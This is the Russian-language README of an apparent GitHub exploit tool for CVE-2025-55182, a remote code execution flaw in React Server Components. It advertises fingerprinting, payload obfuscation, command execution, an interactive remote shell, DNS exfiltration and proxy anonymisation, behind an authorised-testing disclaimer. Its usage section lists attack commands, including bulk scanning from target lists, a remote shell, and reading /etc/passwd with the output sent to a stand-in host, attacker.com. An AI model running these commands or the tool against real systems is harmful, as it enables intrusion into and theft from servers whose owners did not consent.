cerberusmrxi/cve-2025-55182-advanced-react-server-components-rce-exploit
Продвинутый сканер RCE для React Server Components, предназначенный для CVE-2025-55182. Возможности: многоэтапное фингерпринтинг, проверка уязвимости, DNS-эксфильтрация, интерактивная оболочка, обфускация полезной нагрузки и профессиональная отчётность (JSON/HTML/PDF). Только авторизованное тестирование.
Этот инструмент разработан исключительно в ОБРАЗОВАТЕЛЬНЫХ целях и для АВТОРИЗОВАННОГО ТЕСТИРОВАНИЯ БЕЗОПАСНОСТИ. Неавторизованное использование данного программного обеспечения против целей без предварительного письменного согласия является нарушением международных законов о компьютерных преступлениях, включая Computer Fraud and Abuse Act (CFAA), требования GDPR и стандартные условия соглашений об оказании услуг. Автор и участники проекта снимают с себя всякую ответственность за любое неправомерное использование, незаконные операции или косвенный ущерб, возникший в результате работы этой программы. Действуйте строго на свой страх и риск.
ReactRCE-Scanner — это фреймворк корпоративного уровня для оценки и проверки безопасности, разработанный специально для CVE-2025-55182 [1] — критической уязвимости удалённого выполнения кода (RCE), затрагивающей React Server Components в версиях от 19.0.0 до 19.2.0.
Фреймворк устраняет разрыв между теоретическими исследованиями уязвимостей и практической проверкой безопасности. Благодаря многоэтапному фингерпринтингу, строгому снижению числа ложных срабатываний, продвинутой обфускации полезной нагрузки и автоматизированной отчётности в нескольких форматах, он предоставляет инженерам по безопасности точные диагностические возможности.
| Использование | Результаты сканирования |
|---|---|
| Категория возможности | Ключевая реализация | Статус |
|---|---|---|
| Умный фингерпринтинг | Многоисточниковое определение фреймворка и версии с алгоритмами оценки достоверности. | ✅ |
| Многоэтапная проверка | 5-этапный конвейер валидации, предназначенный для систематического исключения ложных срабатываний. | ✅ |
| Генерация полезной нагрузки | Конструктор обфусцированных полезных нагрузок с поддержкой DNS-эксфильтрации и множественных кодировок. | ✅ |
| Интерактивная оболочка | Псевдоинтерактивное выполнение команд в реальном времени и доступ к оболочке на подтверждённых целях. | ✅ |
| Комплексная отчётность | Автоматическая генерация отчётов в форматах JSON, HTML, PDF и Markdown. | ✅ |
| DNS-эксфильтрация | Внеполосная эксфильтрация вывода команд через безопасную обработку DNS-запросов. | ✅ |
| Движок параллелизма | Высокопроизводительная многопоточная архитектура сканирования для больших поверхностей атаки. | ✅ |
| Интеграция с прокси | Поддержка HTTP/HTTPS и SOCKS прокси для анонимизации трафика оценки. | ✅ |
Клонируйте репозиторий и инициализируйте окружение с помощью автоматизированного скрипта установки или ручной установки зависимостей:
# Clone the repository
git clone https://github.com/CerberusMrXi/CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit.git
cd CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit
# Configure execution permissions and run setup script
chmod +x setup.sh
./setup.sh
# Alternatively, install core Python dependencies manually
pip install -r requirements.txt
Фреймворк работает через модульную CLI-архитектуру, поддерживающую проверку одной цели, массовое сканирование из списков файлов, запуск интерактивной оболочки и формирование отчётов о соответствии.
# 1. Perform a vulnerability scan against a single target
python exploit.py -t https://target.com -m scan
# 2. Execute bulk scans from a target list with JSON export
python exploit.py -f targets.txt -m scan -o report.json
# 3. Execute a single command on a verified vulnerable endpoint
python exploit.py -t https://target.com -m exploit -c "whoami"
# 4. Initiate an interactive remote shell session
python exploit.py -t https://target.com -m shell
# 5. Execute commands with out-of-band DNS exfiltration
python exploit.py -t https://target.com -m exploit -c "cat /etc/passwd" -d attacker.com
# 6. Compile a professional executive assessment report in PDF format
python exploit.py -f targets.txt -o assessment_report.pdf --format pdf
Фреймворк выполняет глубокую разведку перед доставкой полезной нагрузки. Он анализирует множество полей HTTP-заголовков (X-Powered-By, Next-Action, RSC), структурные мета-теги HTML (data-reactroot, __NEXT_DATA__), статические ресурсы сборки и исходные JavaScript-бандлы [2] [3].
Оценки достоверности разделены на четыре уровня:
CRITICAL (95%+): Несколько независимых индикаторов подтверждают уязвимые версии среды выполнения React Server Component.
HIGH (75–95%): Обнаружены сильные структурные индикаторы с точным совпадением версии.
MEDIUM (50–75%): Присутствуют частичные маркеры фреймворка; требуется ручная проверка.
LOW (<50%): Обнаружены слабые эвристики; высокая вероятность ложного срабатывания.